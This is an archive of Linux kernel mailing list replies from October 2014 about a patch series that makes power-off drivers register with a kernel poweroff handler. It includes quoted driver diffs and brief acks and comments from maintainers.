>  		of_match_node(qnap_power_off_of_match_table, np);
> @@ -106,22 +115,13 @@ static int qnap_power_off_probe(struct platform_device *pdev)
>  
>  	tclk = clk_get_rate(clk);
>  
> -	/* Check that nothing else has already setup a handler */
> -	if (pm_power_off) {
> -		lookup_symbol_name((ulong)pm_power_off, symname);
> -		dev_err(&pdev->dev,
> -			"pm_power_off already claimed %p %s",
> -			pm_power_off, symname);
> -		return -EBUSY;
> -	}
> -	pm_power_off = qnap_power_off;
> -
> -	return 0;
> +	return register_poweroff_handler(&qnap_poweroff_nb);
>  }
>  
>  static int qnap_power_off_remove(struct platform_device *pdev)
>  {
> -	pm_power_off = NULL;
> +	unregister_poweroff_handler(&qnap_poweroff_nb);
> +
>  	return 0;
>  }
>  
> -- 
> 1.9.1
> 
> 
> _______________________________________________
> linux-arm-kernel mailing list
> linux-arm-kernel@lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/linux-arm-kernel

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Lunn <andrew@lunn.ch>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.acpi.devel,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [PATCH 20/44] power/reset: restart-poweroff: Register with
 kernel poweroff handler
Date: Tue, 7 Oct 2014 18:06:38 +0200
Lines: 86
Approved: news@gmane.org
Message-ID: <20141007160638.GE19005@lunn.ch>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-21-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412698044 2524 80.91.229.3 (7 Oct 2014 16:07:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 16:07:24 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, Sebastian Reichel <sre@kernel.org>,
 devicetree@vger.kernel.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
 linux-c6x-dev@linux-c6x.org, Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>,
 linux-hexagon@vger.kernel.org, linux-acpi@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-xtensa@linux-xtensa.org,
 user-mode-linux-devel@lists.sourceforge.net, linux-pm@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-m68k@lists.linux-m68k.org,
 linux-am33-list@redhat.com, linux-tegra@vger.kernel.org,
 openipmi-developer@lists.sourceforge.net, linux-metag@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.o
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Tue Oct 07 18:07:15 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from hemlock.osuosl.org ([140.211.166.133])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XbXI5-0007I8-5M
	for glddd-devel@m.gmane.org; Tue, 07 Oct 2014 18:07:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id D7660956A7;
	Tue,  7 Oct 2014 16:07:07 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id iowucbZRnT37; Tue,  7 Oct 2014 16:07:07 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id 0C5D8954CD;
	Tue,  7 Oct 2014 16:07:07 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from silver.osuosl.org (silver.osuosl.org [140.211.166.136])
 by ash.osuosl.org (Postfix) with ESMTP id ABFDC1BFA17
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 16:07:05 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by silver.osuosl.org (Postfix) with ESMTP id A53843331A
 for <devel@linuxdriverproject.org>; Tue,  7 Oct 2014 16:07:05 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id RrEAJ7bBUc6y for <devel@linuxdriverproject.org>;
 Tue,  7 Oct 2014 16:07:03 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from vps0.lunn.ch (vps0.lunn.ch [178.209.37.122])
 by silver.osuosl.org (Postfix) with ESMTPS id 64B2A33056
 for <devel@driverdev.osuosl.org>; Tue,  7 Oct 2014 16:07:03 +0000 (UTC)
Original-Received: from lunn by vps0.lunn.ch with local (Exim 4.80)
 (envelope-from <andrew@lunn.ch>)
 id 1XbXHa-000548-Ti; Tue, 07 Oct 2014 18:06:38 +0200
Content-Disposition: inline
In-Reply-To: <1412659726-29957-21-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58578 gmane.linux.ports.mips.general:44213 gmane.linux.kernel.efi:4774 gmane.linux.ports.ia64:24522 gmane.linux.ports.sh.devel:39850 gmane.linux.drivers.devicetree:93194 gmane.linux.kernel.virtualization.lguest:1501 gmane.linux.ports.hexagon:833 gmane.linux.acpi.devel:71324 gmane.linux.uml.devel:14706 gmane.linux.power-management.general:50676 gmane.linux.ports.tegra:19517 gmane.linux.kernel.openipmi:2492 gmane.linux.kernel.metag:353 gmane.linux.ports.arm.kernel:362534 gmane.linux.ports.parisc:6128 gmane.linux.ports.ppc64.devel:105949 gmane.linux.kernel:1802889 gmane.linux.ports.alpha:2486
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58578>

On Mon, Oct 06, 2014 at 10:28:22PM -0700, Guenter Roeck wrote:
> Register with kernel poweroff handler instead of seting pm_power_off
> directly.  Register as poweroff handler of last resort since the driver
> does not really power off the system but executes a restart.

I would not say last resort, this is how it is designed to work. There
is no way to turn the power off from with linux, it is designed that
u-boot will put the hardware into minimal power consumption until the
"power" button is pressed.

Other than that, 

Acked-by: Andrew Lunn <andrew@lunn.ch>

Thanks
	Andrew

> 
> Cc: Sebastian Reichel <sre@kernel.org>
> Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
> Cc: David Woodhouse <dwmw2@infradead.org>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  drivers/power/reset/restart-poweroff.c | 25 ++++++++++++-------------
>  1 file changed, 12 insertions(+), 13 deletions(-)
> 
> diff --git a/drivers/power/reset/restart-poweroff.c b/drivers/power/reset/restart-poweroff.c
> index edd707e..5437697 100644
> --- a/drivers/power/reset/restart-poweroff.c
> +++ b/drivers/power/reset/restart-poweroff.c
> @@ -12,35 +12,34 @@
>   */
>  #include <linux/kernel.h>
>  #include <linux/init.h>
> +#include <linux/notifier.h>
>  #include <linux/platform_device.h>
>  #include <linux/of_platform.h>
>  #include <linux/module.h>
> +#include <linux/pm.h>
>  #include <linux/reboot.h>
> -#include <asm/system_misc.h>
>  
> -static void restart_poweroff_do_poweroff(void)
> +static int restart_poweroff_do_poweroff(struct notifier_block *this,
> +					unsigned long unused1, void *unused2)
>  {
>  	reboot_mode = REBOOT_HARD;
>  	machine_restart(NULL);
> +
> +	return NOTIFY_DONE;
>  }
>  
> +static struct notifier_block restart_poweroff_handler = {
> +	.notifier_call = restart_poweroff_do_poweroff,
> +};
> +
>  static int restart_poweroff_probe(struct platform_device *pdev)
>  {
> -	/* If a pm_power_off function has already been added, leave it alone */
> -	if (pm_power_off != NULL) {
> -		dev_err(&pdev->dev,
> -			"pm_power_off function already registered");
> -		return -EBUSY;
> -	}
> -
> -	pm_power_off = &restart_poweroff_do_poweroff;
> -	return 0;
> +	return register_poweroff_handler(&restart_poweroff_handler);
>  }
>  
>  static int restart_poweroff_remove(struct platform_device *pdev)
>  {
> -	if (pm_power_off == &restart_poweroff_do_poweroff)
> -		pm_power_off = NULL;
> +	unregister_poweroff_handler(&restart_poweroff_handler);
>  
>  	return 0;
>  }
> -- 
> 1.9.1
> 
> 
> _______________________________________________
> linux-arm-kernel mailing list
> linux-arm-kernel@lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/linux-arm-kernel

From - Thu Nov 08 21:10:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rob Landley <rob-VoJi6FS/r0vR7s880joybQ@public.gmane.org>
Newsgroups: gmane.linux.ports.tegra,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 05/44] mfd: as3722: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 07 Oct 2014 11:21:11 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <543412F7.8040909@landley.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-6-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412698907 15120 80.91.229.3 (7 Oct 2014 16:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 16:21:47 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Rob Herring <robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
	Pawel Moll <pa
To: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 18:21:37 2014
Return-path: <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbXW4-0001Vi-3O
	for glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 18:21:36 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754216AbaJGQVe (ORCPT <rfc822;glpt-linux-tegra@m.gmane.org>);
	Tue, 7 Oct 2014 12:21:34 -0400
Original-Received: from mail-oi0-f49.google.com ([209.85.218.49]:46810 "EHLO
	mail-oi0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752028AbaJGQVd (ORCPT
	<rfc822;linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 12:21:33 -0400
Original-Received: by mail-oi0-f49.google.com with SMTP id a3so2539860oib.8
        for <linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Tue, 07 Oct 2014 09:21:33 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:message-id:date:from:user-agent:mime-version:to
         :cc:subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=/S9ld/v9IRe2TGu1eVonTVy5PAK6Pny6Ukc3sN8k8Kk=;
        b=Gtv6ENHPSGrQ4Qx2/T1J/j+jy6Km9dnvCVW1xu37KXM6xNK7LhnoDK2mGrGTxCgiAz
         1Ao5ayU0rX2xihGV/8HV2Ar41YWgJ/RpKCa8Xp+t5swocsuYsqEeF07ooVP1uoxYAEwg
         moNnAQwYuLr3QhnTIE3vnI7vxD4dvS7Vrk6Mbe1TyXWJYtApfF5SIkaUBqjLNCklKCVy
         K0RA0+f65CIe3zXDCYi4LAJKPVTmWMKWYnie989mIBzi9CEQNKPVnFd1ooqeJnfCrdYB
         ht0Yt45N1T8d2pMmDEHtKeGC3GxHZLo3IHxjrKOJ5iPq0mMTl70OBNTCsHLYm9wClELa
         JPKg==
X-Gm-Message-State: ALoCoQnRB2VOf3AFEo/oGjzRMwAhSjLRYbC2kvB3YA/coVAyltTe8GzExYJhCG8VVrrBHj2VmQXC
X-Received: by 10.60.94.167 with SMTP id dd7mr5483036oeb.4.1412698892569;
        Tue, 07 Oct 2014 09:21:32 -0700 (PDT)
Original-Received: from [192.168.1.12] (cpe-72-182-51-248.austin.res.rr.com. [72.182.51.248])
        by mx.google.com with ESMTPSA id h1sm12365224obw.21.2014.10.07.09.21.21
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 07 Oct 2014 09:21:31 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <1412659726-29957-6-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Original-Sender: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-tegra.vger.kernel.org>
X-Mailing-List: linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.ports.tegra:19518 gmane.linux.kernel:1802899 gmane.linux.drivers.devicetree:93196 gmane.linux.kernel.virtualization.lguest:1502 gmane.linux.acpi.devel:71325 gmane.linux.ports.alpha:2487 gmane.linux.kernel.efi:4775 gmane.linux.ports.hexagon:834 gmane.linux.ports.ppc64.devel:105950 gmane.linux.kernel.openipmi:2493 gmane.linux.uml.devel:14707 gmane.linux.ports.arm.kernel:362537 gmane.linux.ports.ia64:24523 gmane.linux.kernel.metag:354 gmane.linux.ports.mips.general:44215 gmane.linux.ports.parisc:6129 gmane.linux.power-management.general:50677 gmane.linux.ports.sh.devel:39851
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.tegra/19518>

On 10/07/14 00:28, Guenter Roeck wrote:
> Devicetree bindings are supposed to be operating system independent
> and should thus not describe how a specific functionality is implemented
> in Linux.

So your argument is that linux/Documentation/devicetree/bindings should
not be specific to Linux. Merely hosted in the Linux kernel source
repository.

Well that's certainly a point of view.

Rob

From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 29/44] staging: nvec: Register with kernel poweroff
 handler
Date: Tue, 7 Oct 2014 09:23:06 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20141007162306.GA2913@kroah.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-30-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412699002 16536 80.91.229.3 (7 Oct 2014 16:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 16:23:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Julian Andres Klod
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Oct 07 18:23:12 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XbXXZ-00039F-Mn
	for glpm-linux-m68k@plane.gmane.org; Tue, 07 Oct 2014 18:23:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754101AbaJGQXI (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 12:23:08 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:32992 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753616AbaJGQXI (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 12:23:08 -0400
Original-Received: from localhost (c-24-22-230-10.hsd1.wa.comcast.net [24.22.230.10])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 7A3EC8DE;
	Tue,  7 Oct 2014 16:23:07 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-30-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6267 gmane.linux.kernel:1802900 gmane.linux.drivers.devicetree:93197 gmane.linux.kernel.virtualization.lguest:1503 gmane.linux.acpi.devel:71326 gmane.linux.ports.alpha:2488 gmane.linux.kernel.efi:4776 gmane.linux.ports.hexagon:835 gmane.linux.ports.ppc64.devel:105951 gmane.linux.ports.tegra:19519 gmane.linux.kernel.openipmi:2494 gmane.linux.uml.devel:14708 gmane.linux.ports.arm.kernel:362538 gmane.linux.ports.ia64:24524 gmane.linux.kernel.metag:355 gmane.linux.ports.mips.general:44216 gmane.linux.ports.parisc:6130 gmane.linux.power-management.general:50678 gmane.linux.ports.sh.devel:39852
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6267>

On Mon, Oct 06, 2014 at 10:28:31PM -0700, Guenter Roeck wrote:
> Register with kernel poweroff handler instead of setting pm_power_off
> directly. Register with default priority value of 128 since we don't know
> any better.
> 
> Cc: Julian Andres Klode <jak@jak-linux.org>
> Cc: Marc Dietrich <marvin24@gmx.de>
> Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  drivers/staging/nvec/nvec.c | 24 +++++++++++++++---------
>  drivers/staging/nvec/nvec.h |  2 ++
>  2 files changed, 17 insertions(+), 9 deletions(-)

Acked-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

From - Thu Nov 08 21:10:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 05/44] mfd: as3722: Drop reference to pm_power_off from
 devicetree bindings
Date: Tue, 7 Oct 2014 09:31:31 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20141007163131.GE28835@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-6-git-send-email-linux@roeck-us.net>
 <543412F7.8040909@landley.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412699523 24856 80.91.229.3 (7 Oct 2014 16:32:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 16:32:03 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Rob Herring <robh+
To: Rob Landley <rob@landley.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 07 18:31:53 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XbXg1-0001oQ-At
	for glk-linux-kernel-3@plane.gmane.org; Tue, 07 Oct 2014 18:31:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754684AbaJGQbn (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 7 Oct 2014 12:31:43 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:49868 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754220AbaJGQbl (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 7 Oct 2014 12:31:41 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=rQ6rH62IVi3t667IdZCBE8tSmhZQL2Q9nNSNDyRgyqQ=;
	b=MKb7l2CScgqxobbl4Fklsp1diRyRXT32uzoHSsHgRLLYAYRLtafM8UPire0rXGKrJuTqEBlZ+hhUqsMarjpyXtF4K28qHfe2AiwyZON/B8Ak5m7SqsTC4FRKwFKwLV3JVzOGJngq6rf9/QkDK58XvqGXDyfsXUrmim9ZA2jgh3o=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbXfp-004IcE-0X
	for linux-kernel@vger.kernel.org; Tue, 07 Oct 2014 16:31:41 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:37837 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbXfj-004IaA-Nb; Tue, 07 Oct 2014 16:31:36 +0000
Content-Disposition: inline
In-Reply-To: <543412F7.8040909@landley.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.0
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
